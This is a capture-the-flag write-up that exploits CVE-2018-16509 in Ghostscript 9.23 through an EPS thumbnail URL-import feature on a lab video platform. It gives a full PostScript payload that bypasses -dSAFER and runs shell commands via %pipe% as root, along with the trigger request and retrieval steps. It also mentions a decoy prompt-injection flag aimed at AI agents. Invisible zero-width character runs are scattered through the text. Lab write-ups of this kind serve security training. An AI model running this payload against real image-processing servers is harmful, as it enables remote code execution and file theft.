← Back to Writeups
CUSTOMMediumWeb

Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import

XESXOR9/2/20265 min read
#web#custom#medium#eps_rendering_to_ocr_exfiltrat#ghostscript_safer_bypass_via_f#honeypot_flag_detection#interaction_server_file_hostin#postscript_pipe_command_execut#url_import_ssrf_to_internal_se#cve-2018-16509#cve-2024-29510

Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: eps_rendering_to_ocr_exfiltration, ghostscript_safer_bypass_via_failed_restore, honeypot_flag_detection, interaction_server_file_hosting, postscript_pipe_command_execution, url_import_ssrf_to_internal_service

Summary

Walkthrough of the CUSTOM Web Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import. Task: FrameCast video hosting platform with thumbnail import from URL; Pillow delegates EPS processing to Ghostscript 9.23 with -dSAFER. Solution: CVE-2018-16509 bypasses SAFER sandbox via failed rest

Description

FrameCast is a professional video hosting platform where creators upload videos, manage thumbnails, and track audience engagement. The platform supports importing thumbnail images from external URLs and automatically resizes them for different display formats. As a security researcher, you've been given access to test the platform. Your goal is to find and exploit a vulnerability in the image processing pipeline that allows you to read sensitive files stored on the server. The platform processes various image formats to generate thumbnails. Look carefully at what happens when the server fetches and processes images from external sources. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based video hosting platform behind nginx/1.25.5. Users can manage video thumbnails via direct upload or URL import. The server accepts EPS files among other image formats and processes them with Pillow, which delegates EPS rendering to Ghostscript. The goal is to exploit the image processing pipeline to read sensitive files from the server.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Login and exploration: Authenticated with provided credentials to a Flask application behind nginx/1.25.5. The platform has video management, thumbnail editing, and audience analytics features. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Thumbnail Manager at /videos/v1e2f3g4/thumbnail provides two methods for setting thumbnails:

    • Upload Image: Direct file upload accepting PNG, JPG, GIF, BMP, TIFF, EPS, WebP
    • Import from URL: Server-side fetch and processing of images from external URLs
  3. Honeypot detection: HTML source contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in comments and hidden divs — a prompt injection trap designed to fool automated tools and AI agents. Correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Ghostscript version identification: Crafted an EPS file that renders the GS revision variable as text, uploaded it, and used OCR (pytesseract) on the resulting thumbnail to read the version: Ghostscript 9.23.

  5. Processing pipeline: Pillow/PIL delegates EPS rendering to Ghostscript, invoking it with the -dSAFER flag which restricts file I/O and pipe access.

Vulnerability

Ghostscript 9.23 is vulnerable to CVE-2018-16509 (discovered by Tavis Ormandy, Google Project Zero). This vulnerability allows bypassing the -dSAFER sandbox through a carefully crafted PostScript sequence: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. save — saves the VM state
  2. legal — changes page size (side effect: modifies internal state)
  3. { null restore } stopped — attempts a null restore which fails but leaves the interpreter in a state where LockSafetyParams is disabled
  4. restore — restores VM state but with safety params unlocked
  5. putdeviceprops with %pipe% in OutputFile — executes arbitrary shell commands

The server runs as root (uid=0), so /root/flag.txt is directly readable.

Network constraints

The server is in a restricted network and cannot reach external hosts. However, the HackAdvisor platform provides an Interaction Server at http://interact/<instance-id>/ accessible from within the challenge instance, which can host files for the URL import feature to fetch. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Craft the malicious EPS payload

Create payload.eps exploiting CVE-2018-16509 to bypass -dSAFER and execute a shell command that writes the flag to a web-accessible location:

postscript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat /root/flag.txt > /app/data/uploads/output.txt 2>&1; cat /flag.txt >> /app/data/uploads/output.txt 2>&1; find / -maxdepth 3 -name 'flag*' >> /app/data/uploads/output.txt 2>&1; id >> /app/data/uploads/output.txt 2>&1) currentdevice putdeviceprops

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key elements:

  • userdict /setpagedevice undef — removes the safe setpagedevice definition
  • save / legal / { null restore } stopped / restore — the CVE-2018-16509 bypass sequence that disables LockSafetyParams
  • %pipe%cat /root/flag.txt > /app/data/uploads/output.txt — pipes the flag content to a file in the web-accessible uploads directory
  • Additional commands enumerate flag locations and confirm uid=0 (root)

Step 2: Host the payload on the Interaction Server

Upload payload.eps to the Interaction Server provided by the HackAdvisor platform. The file becomes accessible at:

http://interact/<instance-id>/payload.eps

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger processing via URL Import

Use the "Import from URL" feature on the Thumbnail Manager page, pointing to the Interaction Server:

http
POST /videos/v1e2f3g4/thumbnail HTTP/1.1
Content-Type: application/x-www-form-urlencoded

method=url&image_url=http://interact/<instance-id>/payload.eps

The server fetches the EPS from the Interaction Server and processes it through Pillow → Ghostscript. The response returns "Failed to process image" because putdeviceprops redirects Ghostscript's output to the pipe, corrupting Pillow's expected output format — but the shell command executes as a side effect before the error. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Retrieve the flag

Access the exfiltrated data at the web-accessible uploads path:

bash
curl https://<instance>.labs.hackadvisor.io/uploads/output.txt

Output:

FLAG{REDACTED}
cat: can't open '/flag.txt': No such file or directory
/root/flag.txt
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Failed approaches

ApproachResultWhy it failed
Direct %pipe% in uploaded EPSBlockedPillow invokes GS with -dSAFER which blocks %pipe%
Direct file read (/root/flag.txt) (r) fileBlockedSAFER restricts file I/O to whitelisted paths
CVE-2024-29510 (GS format string via uniprint)Faileduniprint device initialization failed in this pipeline
External URL import (catbox, google, etc.)"Could not fetch"Server in restricted network, cannot reach external hosts
data: URI with EPSProcessed but exploit failedSame Pillow+SAFER path; putdeviceprops corrupts output
.tempfile write bypassPartialCould write to /tmp/ and /root/ but couldn't read flag content
setuserparams to unlock PermitFileReadingBlockedLockSafetyParams prevents modification
CVE-2018-16509 via direct upload"Failed to process"putdeviceprops corrupts Pillow output — but command DID execute when fetched via URL import through Interaction Server
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering eps_rendering_to_ocr_exfiltration, ghostscript_safer_bypass_via_failed_restore, honeypot_flag_detection, interaction_server_file_hosting, postscript_pipe_command_execution, url_import_ssrf_to_internal_service was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import • Difficulty: Medium